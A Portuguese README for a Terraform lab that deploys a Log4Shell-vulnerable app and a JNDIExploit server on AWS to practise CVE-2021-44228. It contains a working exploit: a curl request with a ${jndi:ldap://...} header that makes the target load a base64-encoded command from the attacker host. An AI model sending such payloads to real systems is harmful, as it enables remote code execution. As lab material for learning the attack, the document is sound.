
Um Terraform para implantar aplicação vulnerável e um JDNIExploit para trabalhar com CVE-2021-44228
Um Terraform para implantar aplicativo vulnerável e um JNDIExploit para trabalhar com CVE-2021-44228
Este terraform cria duas instâncias em uma VPC na AWS Cloud.
Você só precisa exportar suas AWS_ACCESS_KEY_ID e AWS_SECRET_ACCESS_KEY
Uma instância é JNDIExploit.
A segunda é um Vulnerable-App para exploit do log4j
Por favor, substitua sua SSH-Public-Key no terraform antes do apply
terraform init
terraform plan
terraform apply --auto-approve
Após a implantação na aws, você pode explorar com uma requisição curl e verificar a criação do arquivo em /tmp no container do vulnerable-app.
curl ${vulnerable-app-IP}:8090 -H 'X-Api-Version: ${jndi:ldap://${JNDIExploit-IP}:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
No servidor do vulnerable app, execute o seguinte comando para verificar a execução do comando; você deve ver o arquivo pwned
sudo docker exec -ti vulnerable-app ls /tmp